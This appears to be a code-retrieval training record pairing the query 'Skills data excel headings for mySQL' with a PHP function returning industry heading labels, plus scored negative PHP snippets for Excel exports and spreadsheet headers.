$val->grade)\n\t\t\t\t\t\t->first();\n\n\t\t\t\t\tif (!$grade) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade Not Found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$existing_designation = Designation::where('company_id',$company->id)\n\t\t\t\t\t->where('name',$val->name)\n\t\t\t\t\t->where('grade_id',$grade->id)->first();\n\t\t\t\t\t\n\t\t\t\t\tif ($existing_designation) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Designation Already Exist');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$designation = new Designation;\n\t\t\t\t\t$designation->company_id = $company->id;\n\t\t\t\t\t$designation->name = $val->name;\n\t\t\t\t\t$designation->grade_id = $grade->id;\n\t\t\t\t\t$designation->created_by = 1;\n\t\t\t\t\t$designation->save();\n\t\t\t\t\tdump(' === updated === ');\n\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\tdump($e);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdd(' == completed ==');\n\t\t}\n }" ]
[ "0.7560337", "0.7518862", "0.7270195", "0.7110253", "0.69911784", "0.6778172", "0.6762248", "0.66392046", "0.6573895", "0.6525255", "0.6499437", "0.6225687", "0.62188286", "0.6093988", "0.59900767", "0.5973917", "0.5912192", "0.58972985", "0.5869812", "0.5867945", "0.58358383", "0.58116055", "0.5802575", "0.5801604", "0.56441027", "0.5600698", "0.55946565", "0.55878603", "0.55443025", "0.5541241", "0.55226386", "0.55122304", "0.54998946", "0.54585296", "0.54055214", "0.5396315", "0.5377471", "0.53747314", "0.5366139", "0.52848935", "0.52474296", "0.5225779", "0.52150106", "0.5203052", "0.52001125", "0.5183483", "0.51771164", "0.51748115", "0.5152384", "0.5149365", "0.5146867", "0.5143806", "0.5136623", "0.5134545", "0.5127559", "0.51274776", "0.5126913", "0.5044721", "0.5043592", "0.5040248", "0.5036189", "0.50335115", "0.50183356", "0.5012731", "0.5006059", "0.49986747", "0.49985287", "0.49904865", "0.4988517", "0.4982012", "0.49819174", "0.49794662", "0.49776706", "0.4973449", "0.49710327", "0.49692658", "0.49658528", "0.49648938", "0.49579167", "0.4947666", "0.49435985", "0.49351832", "0.4923761", "0.49222326", "0.4921463", "0.49147817", "0.49103925", "0.49060807", "0.49056733", "0.49050367", "0.48918006", "0.4890974", "0.48870268", "0.48848867", "0.48826006", "0.4869691", "0.48605576", "0.48549998", "0.48463017", "0.4839761" ]
0.809273
0
Skills data excel headings for mySQL
public static function excelSkillsHeadingsMYSQL() { return [ 'skills' => 'Skill type', 'agriculture' => 'Agriculture forestry and fishing', 'mining' => 'Mining', 'manufacturing' => 'Manufacturing', 'electricity' => 'Electricity gas water and waste services', 'construction' => 'Construction', 'w_trade' => 'Wholesale trade', 'r_trade' => 'Retail trade', 'accommodation' => 'Accommodation and food services', 'transport' => 'Transport postal and warehousing', 'ict' => 'Information media and telecommunications', 'financial' => 'Financial and insurance services', 'r_estate' => 'Rental hiring and real estate services', 'professional' => 'Professional scientific and technical services', 'admin' => 'Administrative and support services', 'public' => 'Public administration and safety', 'education' => 'Education and training', 'health' => 'Health care and social assistance', 'arts' => 'Arts and recreation services', 'o_services' => 'Other services', 'sa_state' => 'South australia' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 